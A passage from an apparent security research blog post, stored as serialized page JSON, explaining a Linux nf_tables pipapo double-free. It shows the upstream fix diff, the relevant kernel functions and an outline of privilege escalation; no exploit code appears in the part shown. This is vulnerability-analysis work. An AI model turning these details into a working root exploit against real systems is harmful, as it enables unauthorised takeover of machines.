exploit to target mainstream distros.",{"type":26,"tag":27,"props":50259,"children":50261},{"id":50260},"the-kernel",[50262],{"type":32,"value":50263},"The kernel",{"type":26,"tag":35,"props":50265,"children":50266},{},[50267,50269],{"type":32,"value":50268},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":26,"tag":132,"props":50270,"children":50272},{"alt":134,"src":50271},"/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":26,"tag":35,"props":50274,"children":50275},{},[50276],{"type":32,"value":50277},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":26,"tag":41,"props":50279,"children":50281},{"id":50280},"kernel-exploitation",[50282],{"type":32,"value":50283},"Kernel exploitation",{"type":26,"tag":35,"props":50285,"children":50286},{},[50287],{"type":32,"value":50288},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":26,"tag":82,"props":50290,"children":50291},{},[50292,50297,50302],{"type":26,"tag":86,"props":50293,"children":50294},{},[50295],{"type":32,"value":50296},"Trigger some memory corruption in some kernel subsystem",{"type":26,"tag":86,"props":50298,"children":50299},{},[50300],{"type":32,"value":50301},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":26,"tag":86,"props":50303,"children":50304},{},[50305],{"type":32,"value":50306},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":26,"tag":35,"props":50308,"children":50309},{},[50310,50312,50319],{"type":32,"value":50311},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":26,"tag":116,"props":50313,"children":50316},{"href":50314,"rel":50315},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[120],[50317],{"type":32,"value":50318},"blog post",{"type":32,"value":50320}," to become more familiar with the topic.",{"type":26,"tag":27,"props":50322,"children":50324},{"id":50323},"nf_tables",[50325],{"type":26,"tag":53,"props":50326,"children":50328},{"className":50327},[],[50329],{"type":32,"value":50323},{"type":26,"tag":35,"props":50331,"children":50332},{},[50333,50338,50340,50346,50347,50353,50355,50361],{"type":26,"tag":53,"props":50334,"children":50336},{"className":50335},[],[50337],{"type":32,"value":50323},{"type":32,"value":50339}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":26,"tag":116,"props":50341,"children":50344},{"href":50342,"rel":50343},"https://pwning.tech/nftables",[120],[50345],{"type":32,"value":3722},{"type":32,"value":637},{"type":26,"tag":116,"props":50348,"children":50351},{"href":50349,"rel":50350},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[120],[50352],{"type":32,"value":2830},{"type":32,"value":50354},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":26,"tag":53,"props":50356,"children":50358},{"className":50357},[],[50359],{"type":32,"value":50360},"nf_table",{"type":32,"value":50362}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":26,"tag":35,"props":50364,"children":50365},{},[50366],{"type":32,"value":50367},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":26,"tag":41,"props":50369,"children":50371},{"id":50370},"transactions",[50372],{"type":32,"value":50373},"Transactions",{"type":26,"tag":35,"props":50375,"children":50376},{},[50377,50379,50384,50386,50391],{"type":32,"value":50378},"A transaction is an interaction that updates ",{"type":26,"tag":53,"props":50380,"children":50382},{"className":50381},[],[50383],{"type":32,"value":50323},{"type":32,"value":50385}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":26,"tag":53,"props":50387,"children":50389},{"className":50388},[],[50390],{"type":32,"value":50323},{"type":32,"value":50392}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":26,"tag":82,"props":50394,"children":50395},{},[50396,50406,50416],{"type":26,"tag":86,"props":50397,"children":50398},{},[50399,50404],{"type":26,"tag":105,"props":50400,"children":50401},{},[50402],{"type":32,"value":50403},"Control plane",{"type":32,"value":50405},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":26,"tag":86,"props":50407,"children":50408},{},[50409,50414],{"type":26,"tag":105,"props":50410,"children":50411},{},[50412],{"type":32,"value":50413},"Commit path",{"type":32,"value":50415},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":26,"tag":86,"props":50417,"children":50418},{},[50419,50424],{"type":26,"tag":105,"props":50420,"children":50421},{},[50422],{"type":32,"value":50423},"Abort path",{"type":32,"value":50425},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":26,"tag":27,"props":50427,"children":50429},{"id":50428},"vulnerability-details",[50430],{"type":32,"value":50431},"Vulnerability details",{"type":26,"tag":35,"props":50433,"children":50434},{},[50435,50437,50443],{"type":32,"value":50436},"Moving on, let's check out the ",{"type":26,"tag":116,"props":50438,"children":50441},{"href":50439,"rel":50440},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[120],[50442],{"type":32,"value":3937},{"type":32,"value":50444}," that fixed the bug.",{"type":26,"tag":465,"props":50446,"children":50448},{"className":40048,"code":50447,"language":40050,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[50449],{"type":26,"tag":53,"props":50450,"children":50451},{"__ignoreMap":7},[50452,50460,50468,50476,50484,50492,50499,50507,50514,50522,50530,50538,50546,50554,50562,50570,50578,50586,50594,50602,50609,50617,50625,50633,50640,50647],{"type":26,"tag":475,"props":50453,"children":50454},{"class":477,"line":478},[50455],{"type":26,"tag":475,"props":50456,"children":50457},{"style":482},[50458],{"type":32,"value":50459},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":26,"tag":475,"props":50461,"children":50462},{"class":477,"line":516},[50463],{"type":26,"tag":475,"props":50464,"children":50465},{"style":499},[50466],{"type":32,"value":50467},"index c0ceea068936a6..df8de509024637 100644\n",{"type":26,"tag":475,"props":50469,"children":50470},{"class":477,"line":539},[50471],{"type":26,"tag":475,"props":50472,"children":50473},{"style":482},[50474],{"type":32,"value":50475},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":26,"tag":475,"props":50477,"children":50478},{"class":477,"line":548},[50479],{"type":26,"tag":475,"props":50480,"children":50481},{"style":482},[50482],{"type":32,"value":50483},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":26,"tag":475,"props":50485,"children":50486},{"class":477,"line":558},[50487],{"type":26,"tag":475,"props":50488,"children":50489},{"style":499},[50490],{"type":32,"value":50491},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":26,"tag":475,"props":50493,"children":50494},{"class":477,"line":582},[50495],{"type":26,"tag":475,"props":50496,"children":50497},{"emptyLinePlaceholder":18},[50498],{"type":32,"value":545},{"type":26,"tag":475,"props":50500,"children":50501},{"class":477,"line":596},[50502],{"type":26,"tag":475,"props":50503,"children":50504},{"style":499},[50505],{"type":32,"value":50506}," m = rcu_dereference_protected(priv->match, true);\n",{"type":26,"tag":475,"props":50508,"children":50509},{"class":477,"line":610},[50510],{"type":26,"tag":475,"props":50511,"children":50512},{"emptyLinePlaceholder":18},[50513],{"type":32,"value":545},{"type":26,"tag":475,"props":50515,"children":50516},{"class":477,"line":650},[50517],{"type":26,"tag":475,"props":50518,"children":50519},{"style":499},[50520],{"type":32,"value":50521}," if (m) {\n",{"type":26,"tag":475,"props":50523,"children":50524},{"class":477,"line":679},[50525],{"type":26,"tag":475,"props":50526,"children":50527},{"style":499},[50528],{"type":32,"value":50529}," rcu_barrier();\n",{"type":26,"tag":475,"props":50531,"children":50532},{"class":477,"line":735},[50533],{"type":26,"tag":475,"props":50534,"children":50535},{"style":499},[50536],{"type":32,"value":50537}," \n",{"type":26,"tag":475,"props":50539,"children":50540},{"class":477,"line":744},[50541],{"type":26,"tag":475,"props":50542,"children":50543},{"style":629},[50544],{"type":32,"value":50545},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":26,"tag":475,"props":50547,"children":50548},{"class":477,"line":753},[50549],{"type":26,"tag":475,"props":50550,"children":50551},{"style":629},[50552],{"type":32,"value":50553},"-\n",{"type":26,"tag":475,"props":50555,"children":50556},{"class":477,"line":761},[50557],{"type":26,"tag":475,"props":50558,"children":50559},{"style":499},[50560],{"type":32,"value":50561}," for_each_possible_cpu(cpu)\n",{"type":26,"tag":475,"props":50563,"children":50564},{"class":477,"line":770},[50565],{"type":26,"tag":475,"props":50566,"children":50567},{"style":499},[50568],{"type":32,"value":50569}," pipapo_free_scratch(m, cpu);\n",{"type":26,"tag":475,"props":50571,"children":50572},{"class":477,"line":794},[50573],{"type":26,"tag":475,"props":50574,"children":50575},{"style":499},[50576],{"type":32,"value":50577}," free_percpu(m->scratch);\n",{"type":26,"tag":475,"props":50579,"children":50580},{"class":477,"line":831},[50581],{"type":26,"tag":475,"props":50582,"children":50583},{"style":499},[50584],{"type":32,"value":50585},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":26,"tag":475,"props":50587,"children":50588},{"class":477,"line":845},[50589],{"type":26,"tag":475,"props":50590,"children":50591},{"style":499},[50592],{"type":32,"value":50593}," if (priv->clone) {\n",{"type":26,"tag":475,"props":50595,"children":50596},{"class":477,"line":854},[50597],{"type":26,"tag":475,"props":50598,"children":50599},{"style":499},[50600],{"type":32,"value":50601}," m = priv->clone;\n",{"type":26,"tag":475,"props":50603,"children":50604},{"class":477,"line":862},[50605],{"type":26,"tag":475,"props":50606,"children":50607},{"style":499},[50608],{"type":32,"value":50537},{"type":26,"tag":475,"props":50610,"children":50611},{"class":477,"line":885},[50612],{"type":26,"tag":475,"props":50613,"children":50614},{"style":629},[50615],{"type":32,"value":50616},"- if (priv->dirty)\n",{"type":26,"tag":475,"props":50618,"children":50619},{"class":477,"line":913},[50620],{"type":26,"tag":475,"props":50621,"children":50622},{"style":629},[50623],{"type":32,"value":50624},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":26,"tag":475,"props":50626,"children":50627},{"class":477,"line":926},[50628],{"type":26,"tag":475,"props":50629,"children":50630},{"style":903},[50631],{"type":32,"value":50632},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":26,"tag":475,"props":50634,"children":50635},{"class":477,"line":948},[50636],{"type":26,"tag":475,"props":50637,"children":50638},{"style":499},[50639],{"type":32,"value":50537},{"type":26,"tag":475,"props":50641,"children":50642},{"class":477,"line":966},[50643],{"type":26,"tag":475,"props":50644,"children":50645},{"style":499},[50646],{"type":32,"value":50561},{"type":26,"tag":475,"props":50648,"children":50649},{"class":477,"line":979},[50650],{"type":26,"tag":475,"props":50651,"children":50652},{"style":499},[50653],{"type":32,"value":50654}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":26,"tag":35,"props":50656,"children":50657},{},[50658,50660,50666,50667,50673,50675,50681,50683,50689,50691,50696,50698,50704,50706,50712,50714,50720],{"type":32,"value":50659},"If the ",{"type":26,"tag":53,"props":50661,"children":50663},{"className":50662},[],[50664],{"type":32,"value":50665},"priv->dirty",{"type":32,"value":209},{"type":26,"tag":53,"props":50668,"children":50670},{"className":50669},[],[50671],{"type":32,"value":50672},"priv->clone",{"type":32,"value":50674}," variables are set, ",{"type":26,"tag":53,"props":50676,"children":50678},{"className":50677},[],[50679],{"type":32,"value":50680},"nft_set_pipapo_match_destroy()",{"type":32,"value":50682}," is called twice, once with ",{"type":26,"tag":53,"props":50684,"children":50686},{"className":50685},[],[50687],{"type":32,"value":50688},"priv->match",{"type":32,"value":50690}," as an argument, and then again with ",{"type":26,"tag":53,"props":50692,"children":50694},{"className":50693},[],[50695],{"type":32,"value":50672},{"type":32,"value":50697},". Looking at what this function does, we can see that it is iterating over the ",{"type":26,"tag":53,"props":50699,"children":50701},{"className":50700},[],[50702],{"type":32,"value":50703},"setelem",{"type":32,"value":50705},"s of the ",{"type":26,"tag":53,"props":50707,"children":50709},{"className":50708},[],[50710],{"type":32,"value":50711},"set",{"type":32,"value":50713}," and calling ",{"type":26,"tag":53,"props":50715,"children":50717},{"className":50716},[],[50718],{"type":32,"value":50719},"nf_tables_set_elem_destroy()",{"type":32,"value":50721}," for each of them.",{"type":26,"tag":465,"props":50723,"children":50725},{"className":16220,"code":50724,"language":2854,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[50726],{"type":26,"tag":53,"props":50727,"children":50728},{"__ignoreMap":7},[50729,50776,50804,50830,50837,50858,50871,50878,50975,50983,50990,51045,51066,51073,51175,51187,51194,51230,51237,51271,51278],{"type":26,"tag":475,"props":50730,"children":50731},{"class":477,"line":478},[50732,50737,50742,50747,50751,50755,50759,50764,50768,50772],{"type":26,"tag":475,"props":50733,"children":50734},{"style":482},[50735],{"type":32,"value":50736},"static",{"type":26,"tag":475,"props":50738,"children":50739},{"style":482},[50740],{"type":32,"value":50741}," void",{"type":26,"tag":475,"props":50743,"children":50744},{"style":493},[50745],{"type":32,"value":50746}," nft_set_pipapo_match_destroy",{"type":26,"tag":475,"props":50748,"children":50749},{"style":499},[50750],{"type":32,"value":626},{"type":26,"tag":475,"props":50752,"children":50753},{"style":482},[50754],{"type":32,"value":9363},{"type":26,"tag":475,"props":50756,"children":50757},{"style":482},[50758],{"type":32,"value":20859},{"type":26,"tag":475,"props":50760,"children":50761},{"style":499},[50762],{"type":32,"value":50763}," nft_ctx ",{"type":26,"tag":475,"props":50765,"children":50766},{"style":714},[50767],{"type":32,"value":4282},{"type":26,"tag":475,"props":50769,"children":50770},{"style":2375},[50771],{"type":32,"value":19988},{"type":26,"tag":475,"props":50773,"children":50774},{"style":499},[50775],{"type":32,"value":2425},{"type":26,"tag":475,"props":50777,"children":50778},{"class":477,"line":516},[50779,50783,50787,50792,50796,50800],{"type":26,"tag":475,"props":50780,"children":50781},{"style":482},[50782],{"type":32,"value":31247},{"type":26,"tag":475,"props":50784,"children":50785},{"style":482},[50786],{"type":32,"value":20859},{"type":26,"tag":475,"props":50788,"children":50789},{"style":499},[50790],{"type":32,"value":50791}," nft_set ",{"type":26,"tag":475,"props":50793,"children":50794},{"style":714},[50795],{"type":32,"value":4282},{"type":26,"tag":475,"props":50797,"children":50798},{"style":2375},[50799],{"type":32,"value":50711},{"type":26,"tag":475,"props":50801,"children":50802},{"style":499},[50803],{"type":32,"value":2425},{"type":26,"tag":475,"props":50805,"children":50806},{"class":477,"line":539},[50807,50812,50817,50821,50826],{"type":26,"tag":475,"props":50808,"children":50809},{"style":482},[50810],{"type":32,"value":50811}," struct",{"type":26,"tag":475,"props":50813,"children":50814},{"style":499},[50815],{"type":32,"value":50816}," nft_pipapo_match ",{"type":26,"tag":475,"props":50818,"children":50819},{"style":714},[50820],{"type":32,"value":4282},{"type":26,"tag":475,"props":50822,"children":50823},{"style":2375},[50824],{"type":32,"value":50825},"m",{"type":26,"tag":475,"props":50827,"children":50828},{"style":499},[50829],{"type":32,"value":647},{"type":26,"tag":475,"props":50831,"children":50832},{"class":477,"line":548},[50833],{"type":26,"tag":475,"props":50834,"children":50835},{"style":499},[50836],{"type":32,"value":10589},{"type":26,"tag":475,"props":50838,"children":50839},{"class":477,"line":558},[50840,50844,50849,50853],{"type":26,"tag":475,"props":50841,"children":50842},{"style":482},[50843],{"type":32,"value":20859},{"type":26,"tag":475,"props":50845,"children":50846},{"style":499},[50847],{"type":32,"value":50848}," nft_pipapo_field ",{"type":26,"tag":475,"props":50850,"children":50851},{"style":714},[50852],{"type":32,"value":4282},{"type":26,"tag":475,"props":50854,"children":50855},{"style":499},[50856],{"type":32,"value":50857},"f;\n",{"type":26,"tag":475,"props":50859,"children":50860},{"class":477,"line":582},[50861,50866],{"type":26,"tag":475,"props":50862,"children":50863},{"style":482},[50864],{"type":32,"value":50865}," int",{"type":26,"tag":475,"props":50867,"children":50868},{"style":499},[50869],{"type":32,"value":50870}," i, r;\n",{"type":26,"tag":475,"props":50872,"children":50873},{"class":477,"line":596},[50874],{"type":26,"tag":475,"props":50875,"children":50876},{"emptyLinePlaceholder":18},[50877],{"type":32,"value":545},{"type":26,"tag":475,"props":50879,"children":50880},{"class":477,"line":610},[50881,50886,50891,50895,50899,50904,50908,50913,50917,50921,50926,50930,50934,50938,50943,50948,50952,50957,50962,50967,50971],{"type":26,"tag":475,"props":50882,"children":50883},{"style":586},[50884],{"type":32,"value":50885}," for",{"type":26,"tag":475,"props":50887,"children":50888},{"style":499},[50889],{"type":32,"value":50890}," (i ",{"type":26,"tag":475,"props":50892,"children":50893},{"style":714},[50894],{"type":32,"value":786},{"type":26,"tag":475,"props":50896,"children":50897},{"style":903},[50898],{"type":32,"value":2752},{"type":26,"tag":475,"props":50900,"children":50901},{"style":499},[50902],{"type":32,"value":50903},", f ",{"type":26,"tag":475,"props":50905,"children":50906},{"style":714},[50907],{"type":32,"value":786},{"type":26,"tag":475,"props":50909,"children":50910},{"style":2375},[50911],{"type":32,"value":50912}," m",{"type":26,"tag":475,"props":50914,"children":50915},{"style":499},[50916],{"type":32,"value":13464},{"type":26,"tag":475,"props":50918,"children":50919},{"style":2375},[50920],{"type":32,"value":32782},{"type":26,"tag":475,"props":50922,"children":50923},{"style":499},[50924],{"type":32,"value":50925},"; i ",{"type":26,"tag":475,"props":50927,"children":50928},{"style":714},[50929],{"type":32,"value":5519},{"type":26,"tag":475,"props":50931,"children":50932},{"style":2375},[50933],{"type":32,"value":50912},{"type":26,"tag":475,"props":50935,"children":50936},{"style":499},[50937],{"type":32,"value":13464},{"type":26,"tag":475,"props":50939,"children":50940},{"style":2375},[50941],{"type":32,"value":50942},"field_count",{"type":26,"tag":475,"props":50944,"children":50945},{"style":714},[50946],{"type":32,"value":50947}," -",{"type":26,"tag":475,"props":50949,"children":50950},{"style":903},[50951],{"type":32,"value":4234},{"type":26,"tag":475,"props":50953,"children":50954},{"style":499},[50955],{"type":32,"value":50956},"; i",{"type":26,"tag":475,"props":50958,"children":50959},{"style":714},[50960],{"type":32,"value":50961},"++",{"type":26,"tag":475,"props":50963,"children":50964},{"style":499},[50965],{"type":32,"value":50966},", f",{"type":26,"tag":475,"props":50968,"children":50969},{"style":714},[50970],{"type":32,"value":50961},{"type":26,"tag":475,"props":50972,"children":50973},{"style":499},[50974],{"type":32,"value":647},{"type":26,"tag":475,"props":50976,"children":50977},{"class":477,"line":650},[50978],{"type":26,"tag":475,"props":50979,"children":50980},{"style":499},[50981],{"type":32,"value":50982}," ;\n",{"type":26,"tag":475,"props":50984,"children":50985},{"class":477,"line":679},[50986],{"type":26,"tag":475,"props":50987,"children":50988},{"emptyLinePlaceholder":18},[50989],{"type":32,"value":545},{"type":26,"tag":475,"props":50991,"children":50992},{"class":477,"line":735},[50993,50997,51002,51006,51010,51015,51019,51023,51027,51032,51037,51041],{"type":26,"tag":475,"props":50994,"children":50995},{"style":586},[50996],{"type":32,"value":50885},{"type":26,"tag":475,"props":50998,"children":50999},{"style":499},[51000],{"type":32,"value":51001}," (r ",{"type":26,"tag":475,"props":51003,"children":51004},{"style":714},[51005],{"type":32,"value":786},{"type":26,"tag":475,"props":51007,"children":51008},{"style":903},[51009],{"type":32,"value":2752},{"type":26,"tag":475,"props":51011,"children":51012},{"style":499},[51013],{"type":32,"value":51014},"; r ",{"type":26,"tag":475,"props":51016,"children":51017},{"style":714},[51018],{"type":32,"value":5519},{"type":26,"tag":475,"props":51020,"children":51021},{"style":2375},[51022],{"type":32,"value":32668},{"type":26,"tag":475,"props":51024,"children":51025},{"style":499},[51026],{"type":32,"value":13464},{"type":26,"tag":475,"props":51028,"children":51029},{"style":2375},[51030],{"type":32,"value":51031},"rules",{"type":26,"tag":475,"props":51033,"children":51034},{"style":499},[51035],{"type":32,"value":51036},"; r",{"type":26,"tag":475,"props":51038,"children":51039},{"style":714},[51040],{"type":32,"value":50961},{"type":26,"tag":475,"props":51042,"children":51043},{"style":499},[51044],{"type":32,"value":676},{"type":26,"tag":475,"props":51046,"children":51047},{"class":477,"line":744},[51048,51052,51057,51061],{"type":26,"tag":475,"props":51049,"children":51050},{"style":482},[51051],{"type":32,"value":5509},{"type":26,"tag":475,"props":51053,"children":51054},{"style":499},[51055],{"type":32,"value":51056}," nft_pipapo_elem ",{"type":26,"tag":475,"props":51058,"children":51059},{"style":714},[51060],{"type":32,"value":4282},{"type":26,"tag":475,"props":51062,"children":51063},{"style":499},[51064],{"type":32,"value":51065},"e;\n",{"type":26,"tag":475,"props":51067,"children":51068},{"class":477,"line":753},[51069],{"type":26,"tag":475,"props":51070,"children":51071},{"emptyLinePlaceholder":18},[51072],{"type":32,"value":545},{"type":26,"tag":475,"props":51074,"children":51075},{"class":477,"line":761},[51076,51080,51084,51088,51092,51096,51100,51104,51108,51112,51116,51120,51125,51130,51134,51138,51142,51146,51150,51154,51158,51162,51167,51171],{"type":26,"tag":475,"props":51077,"children":51078},{"style":586},[51079],{"type":32,"value":31094},{"type":26,"tag":475,"props":51081,"children":51082},{"style":499},[51083],{"type":32,"value":51001},{"type":26,"tag":475,"props":51085,"children":51086},{"style":714},[51087],{"type":32,"value":5519},{"type":26,"tag":475,"props":51089,"children":51090},{"style":2375},[51091],{"type":32,"value":32668},{"type":26,"tag":475,"props":51093,"children":51094},{"style":499},[51095],{"type":32,"value":13464},{"type":26,"tag":475,"props":51097,"children":51098},{"style":2375},[51099],{"type":32,"value":51031},{"type":26,"tag":475,"props":51101,"children":51102},{"style":714},[51103],{"type":32,"value":50947},{"type":26,"tag":475,"props":51105,"children":51106},{"style":903},[51107],{"type":32,"value":4234},{"type":26,"tag":475,"props":51109,"children":51110},{"style":714},[51111],{"type":32,"value":13892},{"type":26,"tag":475,"props":51113,"children":51114},{"style":2375},[51115],{"type":32,"value":32668},{"type":26,"tag":475,"props":51117,"children":51118},{"style":499},[51119],{"type":32,"value":13464},{"type":26,"tag":475,"props":51121,"children":51122},{"style":2375},[51123],{"type":32,"value":51124},"mt",{"type":26,"tag":475,"props":51126,"children":51127},{"style":499},[51128],{"type":32,"value":51129},"[r ",{"type":26,"tag":475,"props":51131,"children":51132},{"style":714},[51133],{"type":32,"value":1106},{"type":26,"tag":475,"props":51135,"children":51136},{"style":903},[51137],{"type":32,"value":4234},{"type":26,"tag":475,"props":51139,"children":51140},{"style":499},[51141],{"type":32,"value":50041},{"type":26,"tag":475,"props":51143,"children":51144},{"style":2375},[51145],{"type":32,"value":689},{"type":26,"tag":475,"props":51147,"children":51148},{"style":714},[51149],{"type":32,"value":2990},{"type":26,"tag":475,"props":51151,"children":51152},{"style":2375},[51153],{"type":32,"value":32668},{"type":26,"tag":475,"props":51155,"children":51156},{"style":499},[51157],{"type":32,"value":13464},{"type":26,"tag":475,"props":51159,"children":51160},{"style":2375},[51161],{"type":32,"value":51124},{"type":26,"tag":475,"props":51163,"children":51164},{"style":499},[51165],{"type":32,"value":51166},"[r].",{"type":26,"tag":475,"props":51168,"children":51169},{"style":2375},[51170],{"type":32,"value":689},{"type":26,"tag":475,"props":51172,"children":51173},{"style":499},[51174],{"type":32,"value":647},{"type":26,"tag":475,"props":51176,"children":51177},{"class":477,"line":770},[51178,51183],{"type":26,"tag":475,"props":51179,"children":51180},{"style":586},[51181],{"type":32,"value":51182}," continue",{"type":26,"tag":475,"props":51184,"children":51185},{"style":499},[51186],{"type":32,"value":2729},{"type":26,"tag":475,"props":51188,"children":51189},{"class":477,"line":794},[51190],{"type":26,"tag":475,"props":51191,"children":51192},{"emptyLinePlaceholder":18},[51193],{"type":32,"value":545},{"type":26,"tag":475,"props":51195,"children":51196},{"class":477,"line":831},[51197,51202,51206,51210,51214,51218,51222,51226],{"type":26,"tag":475,"props":51198,"children":51199},{"style":499},[51200],{"type":32,"value":51201}," e ",{"type":26,"tag":475,"props":51203,"children":51204},{"style":714},[51205],{"type":32,"value":786},{"type":26,"tag":475,"props":51207,"children":51208},{"style":2375},[51209],{"type":32,"value":32668},{"type":26,"tag":475,"props":51211,"children":51212},{"style":499},[51213],{"type":32,"value":13464},{"type":26,"tag":475,"props":51215,"children":51216},{"style":2375},[51217],{"type":32,"value":51124},{"type":26,"tag":475,"props":51219,"children":51220},{"style":499},[51221],{"type":32,"value":51166},{"type":26,"tag":475,"props":51223,"children":51224},{"style":2375},[51225],{"type":32,"value":689},{"type":26,"tag":475,"props":51227,"children":51228},{"style":499},[51229],{"type":32,"value":2729},{"type":26,"tag":475,"props":51231,"children":51232},{"class":477,"line":845},[51233],{"type":26,"tag":475,"props":51234,"children":51235},{"emptyLinePlaceholder":18},[51236],{"type":32,"value":545},{"type":26,"tag":475,"props":51238,"children":51239},{"class":477,"line":854},[51240,51245,51250,51254,51258,51262,51267],{"type":26,"tag":475,"props":51241,"children":51242},{"style":493},[51243],{"type":32,"value":51244}," nf_tables_set_elem_destroy",{"type":26,"tag":475,"props":51246,"children":51247},{"style":499},[51248],{"type":32,"value":51249},"(ctx, set, ",{"type":26,"tag":475,"props":51251,"children":51252},{"style":714},[51253],{"type":32,"value":2816},{"type":26,"tag":475,"props":51255,"children":51256},{"style":2375},[51257],{"type":32,"value":689},{"type":26,"tag":475,"props":51259,"children":51260},{"style":499},[51261],{"type":32,"value":13464},{"type":26,"tag":475,"props":51263,"children":51264},{"style":2375},[51265],{"type":32,"value":51266},"priv",{"type":26,"tag":475,"props":51268,"children":51269},{"style":499},[51270],{"type":32,"value":3533},{"type":26,"tag":475,"props":51272,"children":51273},{"class":477,"line":862},[51274],{"type":26,"tag":475,"props":51275,"children":51276},{"style":499},[51277],{"type":32,"value":1116},{"type":26,"tag":475,"props":51279,"children":51280},{"class":477,"line":885},[51281],{"type":26,"tag":475,"props":51282,"children":51283},{"style":499},[51284],{"type":32,"value":3607},{"type":26,"tag":35,"props":51286,"children":51287},{},[51288,51290,51296,51298,51303],{"type":32,"value":51289},"Which will then ",{"type":26,"tag":53,"props":51291,"children":51293},{"className":51292},[],[51294],{"type":32,"value":51295},"kfree()",{"type":32,"value":51297}," the ",{"type":26,"tag":53,"props":51299,"children":51301},{"className":51300},[],[51302],{"type":32,"value":50703},{"type":32,"value":353},{"type":26,"tag":465,"props":51305,"children":51307},{"className":16220,"code":51306,"language":2854,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[51308],{"type":26,"tag":53,"props":51309,"children":51310},{"__ignoreMap":7},[51311,51352,51380,51409,51416,51451,51458,51479,51502,51509,51522],{"type":26,"tag":475,"props":51312,"children":51313},{"class":477,"line":478},[51314,51319,51324,51328,51332,51336,51340,51344,51348],{"type":26,"tag":475,"props":51315,"children":51316},{"style":482},[51317],{"type":32,"value":51318},"void",{"type":26,"tag":475,"props":51320,"children":51321},{"style":493},[51322],{"type":32,"value":51323}," 